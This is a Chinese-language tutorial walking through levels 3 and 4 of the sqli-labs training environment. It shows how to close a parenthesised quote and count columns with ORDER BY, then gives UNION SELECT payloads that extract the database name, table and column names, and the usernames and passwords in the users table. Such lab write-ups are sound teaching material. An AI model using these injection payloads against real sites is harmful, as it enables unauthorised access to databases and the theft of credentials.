sqli-labs第3-4关 详解

通过第二关,来到第三关

我们用了前两种方法,都报错,然后自己也不太会别的注入,然后莫名的小知识又增加了。这居然是一个带括号的字符型注入,

这里我们需要闭合前面的括号。

$sql=select * from users where id=(“$id”);

但我们传入的id为5′)然后我们的语句就变成了

 

 而且页面显示正常,然后我们就去判断字段的列数,这个跟前三关应该是一样的 ,我们直接

pyload: ?id=5′)order by 4–+

然后判断3的时候,没有报错,于是确定列数为3,具体为什么要确定列数,在第一个wp中有提到,我们用联合查询,

所以我们要保证列数字段一致,如果不一致则会报错。

接着我们

1. 爆库名  ?id=-1′) union select 1,2,database()–+

2. 爆表名  ?id=-1′) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

3. 爆字段  ?id=-1′) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

4. 爆数据  ?id=-1′) union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

然后就查到了我们想要的users表中的数据了。

 之后我们又来到了第四关,发现第四关只是将单引号变成了双引号了,所以我们

pyload:?id=5″)–+

然后发现页面正常显示,没有报错,于是我们用order by来判断列数,步骤和第三题一样。

希望可以对读者有帮助,不对的希望大家多多指正,大家共同进步。

Tags: